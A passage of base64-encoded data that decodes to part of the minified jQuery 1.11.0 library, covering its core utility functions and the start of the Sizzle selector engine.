xLjExLjAiLG49ZnVuY3Rpb24oYSxiKXtyZXR1cm4gbmV3IG4uZm4uaW5pdChhLGIpfSxvPS9eW1xzXHVGRUZGXHhBMF0rfFtcc1x1RkVGRlx4QTBdKyQvZyxwPS9eLW1zLS8scT0vLShbXGRhLXpdKS9naSxyPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGIudG9VcHBlckNhc2UoKX07bi5mbj1uLnByb3RvdHlwZT17anF1ZXJ5Om0sY29uc3RydWN0b3I6bixzZWxlY3RvcjoiIixsZW5ndGg6MCx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIGQuY2FsbCh0aGlzKX0sZ2V0OmZ1bmN0aW9uKGEpe3JldHVybiBudWxsIT1hPzA+YT90aGlzW2ErdGhpcy5sZW5ndGhdOnRoaXNbYV06ZC5jYWxsKHRoaXMpfSxwdXNoU3RhY2s6ZnVuY3Rpb24oYSl7dmFyIGI9bi5tZXJnZSh0aGlzLmNvbnN0cnVjdG9yKCksYSk7cmV0dXJuIGIucHJldk9iamVjdD10aGlzLGIuY29udGV4dD10aGlzLmNvbnRleHQsYn0sZWFjaDpmdW5jdGlvbihhLGIpe3JldHVybiBuLmVhY2godGhpcyxhLGIpfSxtYXA6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKG4ubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soZC5hcHBseSh0aGlzLGFyZ3VtZW50cykpfSxmaXJzdDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVxKDApfSxsYXN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoLTEpfSxlcTpmdW5jdGlvbihhKXt2YXIgYj10aGlzLmxlbmd0aCxjPSthKygwPmE/YjowKTtyZXR1cm4gdGhpcy5wdXNoU3RhY2soYz49MCYmYj5jP1t0aGlzW2NdXTpbXSl9LGVuZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnByZXZPYmplY3R8fHRoaXMuY29uc3RydWN0b3IobnVsbCl9LHB1c2g6Zixzb3J0OmMuc29ydCxzcGxpY2U6Yy5zcGxpY2V9LG4uZXh0ZW5kPW4uZm4uZXh0ZW5kPWZ1bmN0aW9uKCl7dmFyIGEsYixjLGQsZSxmLGc9YXJndW1lbnRzWzBdfHx7fSxoPTEsaT1hcmd1bWVudHMubGVuZ3RoLGo9ITE7Zm9yKCJib29sZWFuIj09dHlwZW9mIGcmJihqPWcsZz1hcmd1bWVudHNbaF18fHt9LGgrKyksIm9iamVjdCI9PXR5cGVvZiBnfHxuLmlzRnVuY3Rpb24oZyl8fChnPXt9KSxoPT09aSYmKGc9dGhpcyxoLS0pO2k+aDtoKyspaWYobnVsbCE9KGU9YXJndW1lbnRzW2hdKSlmb3IoZCBpbiBlKWE9Z1tkXSxjPWVbZF0sZyE9PWMmJihqJiZjJiYobi5pc1BsYWluT2JqZWN0KGMpfHwoYj1uLmlzQXJyYXkoYykpKT8oYj8oYj0hMSxmPWEmJm4uaXNBcnJheShhKT9hOltdKTpmPWEmJm4uaXNQbGFpbk9iamVjdChhKT9hOnt9LGdbZF09bi5leHRlbmQoaixmLGMpKTp2b2lkIDAhPT1jJiYoZ1tkXT1jKSk7cmV0dXJuIGd9LG4uZXh0ZW5kKHtleHBhbmRvOiJqUXVlcnkiKyhtK01hdGgucmFuZG9tKCkpLnJlcGxhY2UoL1xEL2csIiIpLGlzUmVhZHk6ITAsZXJyb3I6ZnVuY3Rpb24oYSl7dGhyb3cgbmV3IEVycm9yKGEpfSxub29wOmZ1bmN0aW9uKCl7fSxpc0Z1bmN0aW9uOmZ1bmN0aW9uKGEpe3JldHVybiJmdW5jdGlvbiI9PT1uLnR5cGUoYSl9LGlzQXJyYXk6QXJyYXkuaXNBcnJheXx8ZnVuY3Rpb24oYSl7cmV0dXJuImFycmF5Ij09PW4udHlwZShhKX0saXNXaW5kb3c6ZnVuY3Rpb24oYSl7cmV0dXJuIG51bGwhPWEmJmE9PWEud2luZG93fSxpc051bWVyaWM6ZnVuY3Rpb24oYSl7cmV0dXJuIGEtcGFyc2VGbG9hdChhKT49MH0saXNFbXB0eU9iamVjdDpmdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxpc1BsYWluT2JqZWN0OmZ1bmN0aW9uKGEpe3ZhciBiO2lmKCFhfHwib2JqZWN0IiE9PW4udHlwZShhKXx8YS5ub2RlVHlwZXx8bi5pc1dpbmRvdyhhKSlyZXR1cm4hMTt0cnl7aWYoYS5jb25zdHJ1Y3RvciYmIWouY2FsbChhLCJjb25zdHJ1Y3RvciIpJiYhai5jYWxsKGEuY29uc3RydWN0b3IucHJvdG90eXBlLCJpc1Byb3RvdHlwZU9mIikpcmV0dXJuITF9Y2F0Y2goYyl7cmV0dXJuITF9aWYobC5vd25MYXN0KWZvcihiIGluIGEpcmV0dXJuIGouY2FsbChhLGIpO2ZvcihiIGluIGEpO3JldHVybiB2b2lkIDA9PT1ifHxqLmNhbGwoYSxiKX0sdHlwZTpmdW5jdGlvbihhKXtyZXR1cm4gbnVsbD09YT9hKyIiOiJvYmplY3QiPT10eXBlb2YgYXx8ImZ1bmN0aW9uIj09dHlwZW9mIGE/aFtpLmNhbGwoYSldfHwib2JqZWN0Ijp0eXBlb2YgYX0sZ2xvYmFsRXZhbDpmdW5jdGlvbihiKXtiJiZuLnRyaW0oYikmJihhLmV4ZWNTY3JpcHR8fGZ1bmN0aW9uKGIpe2EuZXZhbC5jYWxsKGEsYil9KShiKX0sY2FtZWxDYXNlOmZ1bmN0aW9uKGEpe3JldHVybiBhLnJlcGxhY2UocCwibXMtIikucmVwbGFjZShxLHIpfSxub2RlTmFtZTpmdW5jdGlvbihhLGIpe3JldHVybiBhLm5vZGVOYW1lJiZhLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1iLnRvTG93ZXJDYXNlKCl9LGVhY2g6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkLGU9MCxmPWEubGVuZ3RoLGc9cyhhKTtpZihjKXtpZihnKXtmb3IoO2Y+ZTtlKyspaWYoZD1iLmFwcGx5KGFbZV0sYyksZD09PSExKWJyZWFrfWVsc2UgZm9yKGUgaW4gYSlpZihkPWIuYXBwbHkoYVtlXSxjKSxkPT09ITEpYnJlYWt9ZWxzZSBpZihnKXtmb3IoO2Y+ZTtlKyspaWYoZD1iLmNhbGwoYVtlXSxlLGFbZV0pLGQ9PT0hMSlicmVha31lbHNlIGZvcihlIGluIGEpaWYoZD1iLmNhbGwoYVtlXSxlLGFbZV0pLGQ9PT0hMSlicmVhaztyZXR1cm4gYX0sdHJpbTprJiYhay5jYWxsKCJcdWZlZmZceGEwIik/ZnVuY3Rpb24oYSl7cmV0dXJuIG51bGw9PWE/IiI6ay5jYWxsKGEpfTpmdW5jdGlvbihhKXtyZXR1cm4gbnVsbD09YT8iIjooYSsiIikucmVwbGFjZShvLCIiKX0sbWFrZUFycmF5OmZ1bmN0aW9uKGEsYil7dmFyIGM9Ynx8W107cmV0dXJuIG51bGwhPWEmJihzKE9iamVjdChhKSk/bi5tZXJnZShjLCJzdHJpbmciPT10eXBlb2YgYT9bYV06YSk6Zi5jYWxsKGMsYSkpLGN9LGluQXJyYXk6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkO2lmKGIpe2lmKGcpcmV0dXJuIGcuY2FsbChiLGEsYyk7Zm9yKGQ9Yi5sZW5ndGgsYz1jPzA+Yz9NYXRoLm1heCgwLGQrYyk6YzowO2Q+YztjKyspaWYoYyBpbiBiJiZiW2NdPT09YSlyZXR1cm4gY31yZXR1cm4tMX0sbWVyZ2U6ZnVuY3Rpb24oYSxiKXt2YXIgYz0rYi5sZW5ndGgsZD0wLGU9YS5sZW5ndGg7d2hpbGUoYz5kKWFbZSsrXT1iW2QrK107aWYoYyE9PWMpd2hpbGUodm9pZCAwIT09YltkXSlhW2UrK109YltkKytdO3JldHVybiBhLmxlbmd0aD1lLGF9LGdyZXA6ZnVuY3Rpb24oYSxiLGMpe2Zvcih2YXIgZCxlPVtdLGY9MCxnPWEubGVuZ3RoLGg9IWM7Zz5mO2YrKylkPSFiKGFbZl0sZiksZCE9PWgmJmUucHVzaChhW2ZdKTtyZXR1cm4gZX0sbWFwOmZ1bmN0aW9uKGEsYixjKXt2YXIgZCxmPTAsZz1hLmxlbmd0aCxoPXMoYSksaT1bXTtpZihoKWZvcig7Zz5mO2YrKylkPWIoYVtmXSxmLGMpLG51bGwhPWQmJmkucHVzaChkKTtlbHNlIGZvcihmIGluIGEpZD1iKGFbZl0sZixjKSxudWxsIT1kJiZpLnB1c2goZCk7cmV0dXJuIGUuYXBwbHkoW10saSl9LGd1aWQ6MSxwcm94eTpmdW5jdGlvbihhLGIpe3ZhciBjLGUsZjtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIGImJihmPWFbYl0sYj1hLGE9Ziksbi5pc0Z1bmN0aW9uKGEpPyhjPWQuY2FsbChhcmd1bWVudHMsMiksZT1mdW5jdGlvbigpe3JldHVybiBhLmFwcGx5KGJ8fHRoaXMsYy5jb25jYXQoZC5jYWxsKGFyZ3VtZW50cykpKX0sZS5ndWlkPWEuZ3VpZD1hLmd1aWR8fG4uZ3VpZCsrLGUpOnZvaWQgMH0sbm93OmZ1bmN0aW9uKCl7cmV0dXJuK25ldyBEYXRlfSxzdXBwb3J0Omx9KSxuLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXtoWyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pO2Z1bmN0aW9uIHMoYSl7dmFyIGI9YS5sZW5ndGgsYz1uLnR5cGUoYSk7cmV0dXJuImZ1bmN0aW9uIj09PWN8fG4uaXNXaW5kb3coYSk/ITE6MT09PWEubm9kZVR5cGUmJmI/ITA6ImFycmF5Ij09PWN8fDA9PT1ifHwibnVtYmVyIj09dHlwZW9mIGImJmI+MCYmYi0xIGluIGF9dmFyIHQ9ZnVuY3Rpb24oYSl7dmFyIGIsYyxkLGUsZixnLGgsaSxqLGssbCxtLG4sbyxwLHEscixzPSJzaXp6bGUiKy1uZXcgRGF0ZSx0PWEuZG9jdW1lbnQsdT0wLHY9MCx3PWViKCkseD1lYigpLHk9ZWIoKSx6PWZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9PT1iJiYoaj0hMCksMH0sQT0idW5kZWZpbmVkIixCPTE8PDMxLEM9e30uaGFzT3duUHJvcGVydHksRD1bXSxFPUQucG9wLEY9RC5wdXNoLEc9RC5wdXNoLEg9RC5zbGljZSxJPUQuaW5kZXhPZnx8ZnVuY3Rpb24oYSl7Zm9yKHZhciBiPTAsYz10aGlzLmxlbmd0aDtjPmI7YisrKWlmKHRoaXNbYl09PT1hKXJldHVybiBiO3JldHVybi0xfSxKPSJjaGVja2VkfHNlbGVjdGVkfGFzeW5jfGF1dG9mb2N1c3xhdXRvcGxheXxjb250cm9sc3xkZWZlcnxkaXNhYmxlZHxoaWRkZW58aXNtYXB8bG9vcHxtdWx0aXBsZXxvcGVufHJlYWRvbmx5fHJlcXVpcmVkfHNjb3BlZCIsSz0iW1xceDIwXFx0XFxyXFxuXFxmXSIsTD0iKD86XFxcXC58W1xcdy1dfFteXFx4MDAtXFx4YTBdKSsiLE09TC5yZXBsYWNlKCJ3IiwidyMiKSxOPSJcXFsiK0srIiooIitMKyIpIitLKyIqKD86KFsqXiR8IX5dPz0pIitLKyIqKD86KFsnXCJdKSgoPzpcXFxcLnxbXlxcXFxdKSo/KVxcM3woIitNKyIpfCl8KSIrSysiKlxcXSIsTz0iOigiK0wrIikoPzpcXCgoKFsnXCJdKSgoPzpcXFxcLnxbXlxcXFxdKSo/KVxcM3woKD86XFxcXC58W15cXFxcKClbXFxdXXwiK04ucmVwbGFjZSgzLDgpKyIpKil8LiopXFwpfCkiLFA9bmV3IFJlZ0V4cCgiXiIrSysiK3woKD86XnxbXlxcXFxdKSg/OlxcXFwuKSopIitLKyIrJCIsImciKSxRPW5ldyBSZWdFeHAoIl4iK0srIiosIitLKyIqIiksUj1uZXcgUmVnRXhwKCJeIitLKyIqKFs+K35dfCIrSysiKSIrSysiKiIpLFM9bmV3IFJlZ0V4cCgiPSIrSysiKihbXlxcXSdcIl0qPykiK0srIipcXF0iLCJnIiksVD1uZXcgUmVnRXhwKE8pLFU9bmV3IFJlZ0V4cCgiXiIrTSsiJCIpLFY9e0lEOm5ldyBSZWdFeHAoIl4jKCIrTCsiKSIpLENMQVNTOm5ldyBSZWdFeHAoIl5cXC4oIitMKyIpIiksVEFHOm5ldyBSZWdFeHAoIl4oIitMLnJlcGxhY2UoInciLCJ3KiIpKyIpIiksQVRUUjpuZXcgUmVnRXhwKCJeIitOKSxQU0VVRE86bmV3IFJlZ0V4cCgiXiIrTyksQ0hJTEQ6bmV3IFJlZ0V4cCgiXjoob25seXxmaXJzdHxsYXN0fG50aHxudGgtbGFzdCktKGNoaWxkfG9mLXR5cGUpKD86XFwoIitLKyIqKGV2ZW58b2RkfCgoWystXXwpKFxcZCopbnwpIitLKyIqKD86KFsrLV18KSIrSysiKihcXGQrKXwpKSIrSysiKlxcKXwpIiwiaSIpLGJvb2w6bmV3IFJlZ0V4cCgiXig/OiIrSisiKSQiLCJpIiksbmVlZHNDb250ZXh0Om5ldyBSZWdFeHAoIl4iK0srIipbPit+XXw6KGV2ZW58b2RkfGVxfGd0fGx0fG50aHxmaXJzdHxsYXN0KSg/OlxcKCIrSysiKigoPzotXFxkKT9cXGQqKSIrSysiKlxcKXwpKD89W14tXXwkKSIsImkiKX0sVz0vXig/OmlucHV0fHNlbGVjdHx0ZXh0YXJlYXxidXR0b24pJC9pLFg9L15oXGQkL2ksWT0vXltee10rXHtccypcW25hdGl2ZSBcdy8sWj0vXig/OiMoW1x3LV0rKXwoXHcrKXxcLihbXHctXSspKSQvLCQ9L1srfl0vLF89Lyd8XFwvZyxhYj1uZXcgUmVnRXhwKCJcXFxcKFtcXGRhLWZdezEsNn0iK0srIj98KCIrSysiKXwuKSIsImlnIiksYmI9ZnVuY3Rpb24oYSxiLGMpe3ZhciBkPSIweCIrYi02NTUzNjtyZXR1cm4gZCE9PWR8fGM/YjowPmQ/U3RyaW5nLmZyb21DaGFyQ29kZShkKzY1NTM2KTpTdHJpbmcuZnJvbUNoYXJDb2RlKGQ+PjEwfDU1Mjk2LDEwMjMmZHw1NjMyMCl9O3RyeXtHLmFwcGx5KEQ9SC5jYWxsKHQuY2hpbGROb2RlcyksdC5jaGlsZE5vZGVzKSxEW3QuY2hpbGROb2Rlcy5sZW5ndGhdLm5vZGVUeXBlfWNhdGNoKGNiKXtHPXthcHBseTpELmxlbmd0aD9mdW5jdGlvbihhLGIpe0YuYXBwbHkoYSxILmNhbGwoYikpfTpmdW5jdGlvbihhLGIpe3ZhciBjPWEubGVuZ3RoLGQ9MDt3aGlsZShhW2MrK109YltkKytdKTthLmxlbmd0aD1jLTF9fX1mdW5jdGlvbiBkYihhLGIsZCxlKXt2YXIgZixnLGgsaSxqLG0scCxxLHUsdjtpZigoYj9iLm93bmVyRG9jdW1lbnR8fGI6dCkhPT1sJiZrKGIpLGI9Ynx8bCxkPWR8fFtdLCFhfHwic3RyaW5nIiE9dHlwZW9mIGEpcmV0dXJuIGQ7aWYoMSE9PShpPWIubm9kZVR5cGUpJiY5IT09aSlyZXR1cm5bXTtpZihuJiYhZSl7aWYoZj1aLmV4ZWMoYSkpaWYoaD1mWzFdKXtpZig5PT09aSl7aWYoZz1iLmdldEVsZW1lbnRCeUlkKGgpLCFnfHwhZy5wYXJlbnROb2RlKXJldHVybiBkO2lmKGcuaWQ9PT1oKXJldHVybiBkLnB1c2goZyksZH1lbHNlIGlmKGIub3duZXJEb2N1bWVudCYmKGc9Yi5vd25lckRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGgpKSYmcihiLGcpJiZnLmlkPT09aClyZXR1cm4gZC5wdXNoKGcpLGR9ZWxzZXtpZihmWzJdKXJldHVybiBHLmFwcGx5KGQsYi5nZXRFbGVtZW50c0J5VGFnTmFtZShhKSksZDtpZigoaD1mWzNdKSYmYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lJiZiLmdldEVsZW1lbnRzQnlDbGFzc05hbWUpcmV0dXJuIEcuYXBwbHkoZCxiLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoaCkpLGR9aWYoYy5xc2EmJighb3x8IW8udGVzdChhKSkpe2lmKHE9cD1zLHU9Yix2PTk9PT1pJiZhLDE9PT1pJiYib2JqZWN0IiE9PWIubm9kZU5hbWUudG9Mb3dlckNhc2UoKSl7bT1vYihhKSwocD1iLmdldEF0dHJpYnV0ZSgiaWQiKSk/cT1wLnJlcGxhY2UoXywiXFwkJiIpOmIuc2V0QXR0cmlidXRlKCJpZCIscSkscT0iW2lkPSciK3ErIiddICIsaj1tLmxlbmd0aDt3aGlsZShqLS0pbVtqXT1xK3BiKG1bal0pO3U9JC50ZXN0KGEpJiZtYihiLnBhcmVudE5vZGUpfHxiLHY9bS5qb2luKCIsIil9aWYodil0cnl7cmV0dXJuIEcuYXBwbHkoZCx1LnF1ZXJ5U2VsZWN0b3JBbGwodikpLGR9Y2F0Y2godyl7fWZpbmFsbHl7cHx8Yi5yZW1vdmVBdHRyaWJ1dGUoImlkIil9fX1yZXR1cm4geGIoYS5yZXBsYWNlKFAsIiQxIiksYixkLGUpfWZ1bmN0aW9uIGViKCl7dmFyIGE9W107ZnVuY3Rpb24gYihjLGUpe3JldHVybiBhLnB1c2goYysiICIpPmQuY2FjaGVMZW5ndGgmJmRlbGV0ZSBiW2Euc2hpZnQoKV0sYltjKyIgIl09ZX1yZXR1cm4gYn1mdW5jdGlvbiBmYihhKXtyZXR1cm4gYVtzXT0hMCxhfWZ1bmN0aW9uIGdiKGEpe3ZhciBiPWwuY3JlYXRlRWxlbWVudCgiZGl2Iik7dHJ5e3JldHVybiEhYShiKX1jYXRjaChjKXtyZXR1cm4hMX1maW5hbGx5e2IucGFyZW50Tm9kZSYmYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGI9bnVsbH19ZnVuY3Rpb24gaGIoYSxiKXt2YXIgYz1hLnNwbGl0KCJ8IiksZT1hLmxlbmd0aDt3aGlsZShlLS0pZC5hdHRySGFuZGxlW2NbZV1dPWJ9ZnVuY3Rpb24gaWIoYSxiKXt2YXIgYz1iJiZhLGQ9YyYmMT09PWEubm9kZVR5cGUmJjE9PT1iLm5vZGVUeXBlJiYofmIuc291cmNlSW5kZXh8fEIpLSh+YS5zb3VyY2VJbmRleHx8Qik7aWYoZClyZXR1cm4gZDtpZihjKXdoaWxlKGM9Yy5uZXh0U2libGluZylpZihjPT09YilyZXR1cm4tMTtyZXR1cm4gYT8xOi0xfWZ1bmN0aW9uIGpiKGEpe3JldHVybiBmdW5jdGlvbihiKXt2YXIgYz1iLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PWMmJmIudHlwZT09PWF9fWZ1bmN0aW9uIGtiKGEpe3JldHVybiBmdW5jdGlvbihiKXt2YXIgYz1iLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuKCJpbnB1dCI9PT1jfHwiYnV0dG9uIj09PWMpJiZiLnR5cGU9PT1hfX1mdW5jdGlvbiBsYihhKXtyZXR1cm4gZmIoZnVuY3Rpb24oYil7cmV0dXJuIGI9K2IsZmIoZnVuY3Rpb24oYyxkKXt2YXIgZSxmPWEoW10sYy5sZW5ndGgsYiksZz1mLmxlbmd0aDt3aGlsZShnLS0pY1tlPWZbZ11dJiYoY1tlXT0hKGRbZV09Y1tlXSkpfSl9KX1mdW5jdGlvbiBtYihhKXtyZXR1cm4gYSYmdHlwZW9mIGEuZ2V0RWxlbWVudHNCeVRhZ05hbWUhPT1BJiZhfWM9ZGIuc3VwcG9ydD17fSxmPWRiLmlzWE1MPWZ1bmN0aW9uKGEpe3ZhciBiPWEmJihhLm93bmVyRG9jdW1lbnR8fGEpLmRvY3VtZW50RWxlbWVudDtyZXR1cm4gYj8iSFRNTCIhPT1iLm5vZGVOYW1lOiExfSxrPWRiLnNldERvY3VtZW50PWZ1bmN0aW9uKGEpe3ZhciBiLGU9YT9hLm93bmVyRG9jdW1lbnR8fGE6dCxnPWUuZGVmYXVsdFZpZXc7cmV0dXJuIGUhPT1sJiY5PT09ZS5ub2RlVHlwZSYmZS5kb2N1bWVudEVsZW1lbnQ/KGw9ZSxtPWUuZG9jdW1lbnRFbGVtZW50LG49IWYoZSksZyYmZyE9PWcudG9wJiYoZy5hZGRFdmVudExpc3RlbmVyP2cuYWRkRXZlbnRMaXN0ZW5lcigidW5sb2FkIixmdW5jdGlvbigpe2soKX0sITEpOmcuYXR0YWNoRXZlbnQmJmcuYXR0YWNoRXZlbnQoIm9udW5sb2FkIixmdW5jdGlvbigpe2soKX0pKSxjLmF0dHJpYnV0ZXM9Z2IoZnVuY3Rpb24oYSl7cmV0dXJuIGEuY2xhc3NOYW1lPSJpIiwhYS5nZXRBdHRyaWJ1dGUoImNsYXNzTmFtZSIpfSksYy5nZXRFbGVtZW50c0J5VGFnTmFtZT1nYihmdW5jdGlvbihhKXtyZXR1cm4gYS5hcHBlbmRDaGlsZChlLmNyZWF0ZUNvbW1lbnQoIiIpKSwhYS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiKiIpLmxlbmd0aH0pLGMuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZT1ZLnRlc3QoZS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKSYmZ2IoZnVuY3Rpb24oYSl7cmV0dXJuIGEuaW5uZXJIVE1MPSI8ZGl2IGNsYXNzPSdhJz48L2Rpdj48ZGl2IGNsYXNzPSdhIGknPjwvZGl2PiIsYS5maXJzdENoaWxkLmNsYXNzTmFtZT0iaSIsMj09PWEuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaSIpLmxlbmd0aH0pLGMuZ2V0QnlJZD1nYihmdW5jdGlvbihhKXtyZXR1cm4gbS5hcHBlbmRDaGlsZChhKS5pZD1zLCFlLmdldEVsZW1lbnRzQnlOYW1lfHwhZS5nZXRFbGVtZW50c0J5TmFtZShzKS5sZW5ndGh9KSxjLmdldEJ5SWQ/KGQuZmluZC5JRD1mdW5jdGlvbihhLGIpe2lmKHR5cGVvZiBiLmdldEVsZW1lbnRCeUlkIT09QSYmbil7dmFyIGM9Yi5nZXRFbGVtZW50QnlJZChhKTtyZXR1cm4gYyYmYy5wYXJlbnROb2RlP1tjXTpbXX19LGQuZmlsdGVyLklEPWZ1bmN0aW9uKGEpe3ZhciBiPWEucmVwbGFjZShhYixiYik7cmV0dXJuIGZ1bmN0aW9uKGEpe3JldHVybiBhLmdldEF0dHJpYnV0ZSgiaWQiKT09PWJ9fSk6KGRlbGV0ZSBkLmZpbmQuSUQsZC5maWx0ZXIuSUQ9ZnVuY3Rpb24oYSl7dmFyIGI9YS5yZXBsYWNlKGFiLGJiKTtyZXR1cm4gZnVuY3Rpb24oYSl7dmFyIGM9dHlwZW9mIGEuZ2V0QXR0cmlidXRlTm9kZSE9PUEmJmEuZ2V0QXR0cmlidXRlTm9kZSgiaWQiKTtyZXR1cm4gYyYmYy52YWx1ZT09PWJ9fSksZC5maW5kLlRBRz1jLmdldEVsZW1lbnRzQnlUYWdOYW1lP2Z1bmN0aW9uKGEsYil7cmV0dXJuIHR5cGVvZiBiLmdldEVsZW1lbnRzQnlUYWdOYW1lIT09QT9iLmdldEVsZW1lbnRzQnlUYWdOYW1lKGEpOnZvaWQgMH06ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPVtdLGU9MCxmPWIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYSk7aWYoIioiPT09YSl7d2hpbGUoYz1mW2UrK10pMT09PWMubm9kZVR5cGUmJmQucHVzaChjKTtyZXR1cm4gZH1yZXR1cm4gZn0sZC5maW5kLkNMQVNTPWMuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSYmZnVuY3Rpb24oYSxiKXtyZXR1cm4gdHlwZW9mIGIuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSE9PUEmJm4/Yi5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGEpOnZvaWQgMH0scD1bXSxvPVtdLChjLnFzYT1ZLnRlc3QoZS5xdWVyeVNlbGVjdG9yQWxsKSkmJihnYihmdW5jdGlvbihhKXthLmlubmVySFRNTD0iPHNlbGVjdCB0PScnPjxvcHRpb24gc2VsZWN0ZWQ9Jyc+PC9vcHRpb24+PC9zZWxlY3Q+IixhLnF1ZXJ5U2VsZWN0b3JBbGwoIlt0Xj0nJ10iKS5sZW5ndGgmJm8ucHVzaCgiWypeJF09IitLKyIqKD86Jyd8XCJcIikiKSxhLnF1ZXJ5U2VsZWN0b3JBbGwoIltzZWxlY3RlZF0iKS5sZW5ndGh8fG8ucHVzaCgiXFxbIitLKyIqKD86dmFsdWV8IitKKyIpIiksYS5xdWVyeVNlbGVjdG9yQWxsKCI6Y2hlY2tlZCIpLmxlbmd0aHx8by5wdXNoKCI6Y2hlY2tlZCIpfSksZ2IoZnVuY3Rpb24oYSl7dmFyIGI9ZS5jcmVhdGVFbGVtZW50KCJpbnB1dCIpO2Iuc2V0QXR0cmlidXRlKCJ0eXBlIiwiaGlkZGVuIiksYS5hcHBlbmRDaGlsZChiKS5zZXRBdHRyaWJ1dGUoIm5hbWUiLCJEIiksYS5xdWVyeVNlbGVjdG9yQWxsKCJbbmFtZT1kXSIpLmxlbmd0aCYmby5wdXNoKCJuYW1lIitLKyIqWypeJHwhfl0/PSIpLGEucXVlcnlTZWxlY3RvckFsbCgiOmVuYWJsZWQiKS5sZW5ndGh8fG8ucHVzaCgiOmVuYWJsZWQiLCI6ZGlzYWJsZWQiKSxhLnF1ZXJ5U2VsZWN0b3JBbGwoIiosOngiKSxvLnB1c2goIiwuKjoiKX0pKSwoYy5tYXRjaGVzU2VsZWN0b3I9WS50ZXN0KHE9bS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fG0ubW96TWF0Y2hlc1NlbGVjdG9yfHxtLm9NYXRjaGVzU2VsZWN0b3J8fG0ubXNNYXRjaGVzU2VsZWN0b3IpKSYmZ2IoZnVuY3Rpb24oYSl7Yy5kaXNjb25uZWN0ZWRNYXRjaD1xLmNhbGwoYSwiZGl2IikscS5jYWxsKGEsIltzIT0nJ106eCIpLHAucHVzaCgiIT0iLE8pfSksbz1vLmxlbmd0aCYmbmV3IFJlZ0V4cChvLmpvaW4oInwiKSkscD1wLmxlbmd0aCYmbmV3IFJlZ0V4cChwLmpvaW4oInwiKSksYj1ZLnRlc3QobS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbikscj1ifHxZLnRlc3QobS5jb250YWlucyk/ZnVuY3Rpb24oYSxiKXt2YXIgYz05PT09YS5ub2RlVHlwZT9hLmRvY3VtZW50RWxlbWVudDphLGQ9YiYmYi5wYXJlbnROb2RlO3JldHVybiBhPT09ZHx8ISghZHx8MSE9PWQubm9kZVR5cGV8fCEoYy5jb250YWlucz9jLmNvbnRhaW5zKGQpOmEuY29tcGFyZURvY3VtZW50UG9zaXRpb24mJjE2JmEuY29tcGFyZURvY3VtZW50UG9zaXRpb24oZCkpKX06ZnVuY3Rpb24oYSxiKXtpZihiKXdoaWxlKGI9Yi5wYXJlbnROb2RlKWlmKGI9PT1hKXJldHVybiEwO3JldHVybiExfSx6PWI/ZnVuY3Rpb24oYSxiKXtpZihhPT09YilyZXR1cm4gaj0hMCwwO3ZhciBkPSFhLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uLSFiLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uO3JldHVybiBkP2Q6KGQ9KGEub3duZXJEb2N1bWVudHx8YSk9PT0oYi5vd25lckRvY3VtZW50fHxiKT9hLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKGIpOjEsMSZkfHwhYy5zb3J0RGV0YWNoZWQmJmIuY29tcGFyZURvY3VtZW50UG9zaXRpb24oYSk9PT1kP2E9PT1lfHxhLm93bmVyRG9jdW1lbnQ9PT10JiZyKHQsYSk/LTE6Yj09PWV8fGIub3duZXJEb2N1bWVudD09PXQmJnIodCxiKT8xOmk/SS5jYWxsKGksYSktSS5jYWxsKGksYik6MDo0JmQ/LTE6MSl9OmZ1bmN0aW9uKGEsYil7aWYoYT09PWIpcmV0dXJuIGo9ITAsMDt2YXIgYyxkPTAsZj1hLnBhcmVudE5vZGUsZz1iLnBhcmVudE5vZGUsaD1bYV0saz1bYl07aWYoIWZ8fCFnKXJldHVybiBhPT09ZT8tMTpiPT09ZT8xOmY/LTE6Zz8xOmk/SS5jYWxsKGksYSktSS5jYWxsKGksYik6MDtpZihmPT09ZylyZXR1cm4gaWIoYSxiKTtjPWE7d2hpbGUoYz1jLnBhcmVudE5vZGUpaC51bnNoaWZ0KGMpO2M9Yjt3aGlsZShjPWMucGFyZW50Tm9kZSlrLnVuc2hpZnQoYyk7d2hpbGUoaFtkXT09PWtbZF0pZCsrO3JldHVybiBkP2liKGhbZF0sa1tkXSk6aFtkXT09PXQ/LTE6a1tkXT09PXQ/MTowfSxlKTpsfSxkYi5tYXRjaGVzPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGRiKGEsbnVsbC